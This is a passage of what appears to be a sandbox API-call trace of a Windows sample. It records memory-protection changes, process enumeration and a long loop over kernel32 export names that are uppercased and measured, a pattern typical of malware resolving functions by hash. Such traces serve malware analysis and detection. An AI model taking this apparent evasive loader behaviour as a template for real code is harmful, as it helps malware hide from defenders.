lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0035.960] VirtualProtect (in: lpAddress=0x771cf7ea, dwSize=0x1, flNewProtect=0x40, lpflOldProtect=0x34ff1c | out: lpflOldProtect=0x34ff1c*=0x20) returned 1 [0035.960] VirtualProtect (in: lpAddress=0x771cf7ea, dwSize=0x1, flNewProtect=0x20, lpflOldProtect=0x34ff20 | out: lpflOldProtect=0x34ff20*=0x40) returned 1 [0035.960] VirtualFree (lpAddress=0x60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0035.960] VirtualFree (lpAddress=0x50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0035.961] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x44 [0035.963] Process32FirstW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.963] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0035.964] GetLastError () returned 0x0 [0035.964] lstrlenA (lpString="kernel32.dll") returned 12 [0035.964] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0035.964] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0035.964] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0035.964] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0035.964] lstrlenA (lpString="ADDATOMA") returned 8 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0035.964] lstrlenA (lpString="ADDATOMW") returned 8 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0035.964] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0035.964] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0035.964] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0035.964] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0035.964] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0035.964] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0035.964] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0035.964] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0035.965] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0035.965] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0035.965] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0035.965] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0035.965] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0035.965] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0035.965] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0035.965] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0035.965] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0035.965] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0035.965] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0035.965] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0035.965] lstrlenA (lpString="BACKUPREAD") returned 10 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0035.965] lstrlenA (lpString="BACKUPSEEK") returned 10 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0035.965] lstrlenA (lpString="BACKUPWRITE") returned 11 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0035.965] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0035.965] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0035.965] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0035.965] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0035.965] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0035.965] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0035.966] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0035.966] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0035.966] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0035.966] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0035.966] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0035.966] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0035.966] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0035.966] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0035.966] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0035.966] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0035.966] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0035.966] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0035.966] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0035.966] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0035.966] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0035.966] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0035.966] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0035.966] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0035.966] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0035.966] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0035.967] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0035.967] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0035.967] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0035.967] lstrlenA (lpString="BEEP") returned 4 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0035.967] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0035.967] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0035.967] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0035.967] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0035.967] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0035.967] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0035.967] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0035.967] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0035.967] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0035.967] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0035.967] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0035.967] lstrlenA (lpString="CANCELIO") returned 8 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0035.967] lstrlenA (lpString="CANCELIOEX") returned 10 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0035.967] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0035.967] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0035.967] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0035.968] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0035.968] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0035.968] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0035.968] lstrlenA (lpString="CHECKELEVATION") returned 14 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0035.968] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0035.968] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0035.968] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0035.968] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0035.968] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0035.968] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0035.968] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0035.968] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0035.968] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0035.968] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0035.968] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0035.968] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0035.969] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0035.969] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0035.969] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0035.969] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0035.969] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0035.969] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0035.969] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0035.969] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0035.969] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0035.969] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0035.969] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0035.969] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0035.969] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0035.969] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0035.969] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0035.969] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0035.969] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0035.969] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0035.969] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0035.969] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0035.969] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0035.969] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0035.969] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0035.970] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0035.970] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0035.970] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0035.970] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0035.970] lstrlenA (lpString="COPYCONTEXT") returned 11 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0035.970] lstrlenA (lpString="COPYFILEA") returned 9 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0035.970] lstrlenA (lpString="COPYFILEEXA") returned 11 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0035.970] lstrlenA (lpString="COPYFILEEXW") returned 11 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0035.970] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0035.970] lstrcpyA (in: lpString1=0x34f0a8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") 